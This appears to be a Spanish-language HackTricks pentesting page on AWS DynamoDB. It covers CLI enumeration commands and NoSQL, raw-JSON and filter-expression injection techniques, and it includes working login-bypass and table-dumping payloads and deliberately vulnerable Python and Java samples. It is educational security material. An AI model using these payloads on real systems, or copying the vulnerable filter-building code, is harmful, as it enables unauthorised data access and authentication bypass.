# AWS - Enumeración de DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
## DynamoDB
### Información Básica
Amazon DynamoDB es presentado por AWS como una **base de datos NoSQL de clave-valor, completamente gestionada y sin servidor**, diseñada para impulsar aplicaciones de alto rendimiento sin importar su tamaño. El servicio garantiza características robustas que incluyen medidas de seguridad inherentes, copias de seguridad ininterrumpidas, replicación automatizada en múltiples regiones, almacenamiento en caché en memoria integrado y utilidades convenientes para la exportación de datos.
En el contexto de DynamoDB, en lugar de establecer una base de datos tradicional, **se crean tablas**. Cada tabla requiere la especificación de una **clave de partición** como un componente integral de la **clave primaria de la tabla**. Esta clave de partición, esencialmente un **valor hash**, juega un papel crítico tanto en la recuperación de elementos como en la distribución de datos a través de varios hosts. Esta distribución es fundamental para mantener tanto la escalabilidad como la disponibilidad de la base de datos. Además, hay una opción para incorporar una **clave de ordenación** para refinar aún más la organización de los datos.
### Cifrado
Por defecto, DynamoDB utiliza una clave KMS que **pertenece a Amazon DynamoDB,** ni siquiera la clave gestionada por AWS que al menos pertenece a tu cuenta.
### Copias de Seguridad y Exportación a S3
Es posible **programar** la generación de **copias de seguridad de la tabla** o crearlas **a demanda**. Además, también es posible habilitar **la recuperación en el tiempo (PITR) para una tabla.** La recuperación en el tiempo proporciona **copias de seguridad** continuas de tus datos de DynamoDB durante **35 días** para ayudarte a protegerte contra operaciones de escritura o eliminación accidentales.
También es posible exportar **los datos de una tabla a S3**, pero la tabla debe tener **PITR habilitado**.
### GUI
Hay una GUI para servicios locales de Dynamo como [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc., que podría ser útil: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
### Enumeración
```bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn
aws dynamodb describe-continuous-backups --table-name
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
```
### Acceso No Autenticado
{{#ref}}
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
{{#endref}}
### Escalación de Privilegios
{{#ref}}
../aws-privilege-escalation/aws-dynamodb-privesc.md
{{#endref}}
### Post Explotación
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
### Persistencia
{{#ref}}
../aws-persistence/aws-dynamodb-persistence.md
{{#endref}}
## Inyección en DynamoDB
### Inyección SQL
Hay formas de acceder a los datos de DynamoDB con **sintaxis SQL**, por lo tanto, **inyecciones SQL típicas también son posibles**.
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### Inyección NoSQL
En DynamoDB se pueden usar diferentes **condiciones** para recuperar datos, como en una inyección NoSQL común; si es posible **encadenar más condiciones para recuperar** datos, podrías obtener datos ocultos (o volcar toda la tabla).\
Puedes encontrar aquí las condiciones soportadas por DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Ten en cuenta que se soportan **diferentes condiciones** si los datos se acceden a través de **`query`** o a través de **`scan`**.
> [!NOTE]
> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la **clave primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación).
Si puedes **cambiar la comparación** realizada o agregar nuevas, podrías recuperar más datos.
```bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
```
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Inyección de Json en bruto
> [!CAUTION]
> **¡Esta vulnerabilidad se basa en el Filtro de Escaneo de dynamodb que ahora está en desuso!**
**DynamoDB** acepta objetos **Json** para **buscar** datos dentro de la base de datos. Si descubres que puedes escribir en el objeto json enviado para buscar, podrías hacer un volcado de la base de datos, todo el contenido.
Por ejemplo, inyectando en una solicitud como:
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
un atacante podría inyectar algo como:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
arreglar la condición "EQ" buscando el ID 1000 y luego buscando todos los datos con una cadena de Id mayor que 0, que es todo.
Otro **ejemplo vulnerable usando un inicio de sesión** podría ser:
```python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
```
Esto sería vulnerable a:
```
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
```
### :property Injection
Algunos SDK permiten usar una cadena que indica el filtrado que se debe realizar, como:
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
Es importante saber que al buscar en DynamoDB para **sustituir** un **valor** de atributo en **expresiones de filtro** mientras se escanean los elementos, los tokens deben **comenzar** con el carácter **`:`**. Tales tokens serán **reemplazados** con el **valor de atributo real en tiempo de ejecución**.
Por lo tanto, un inicio de sesión como el anterior se puede eludir con algo como:
```bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
```
{{#include ../../../banners/hacktricks-training.md}}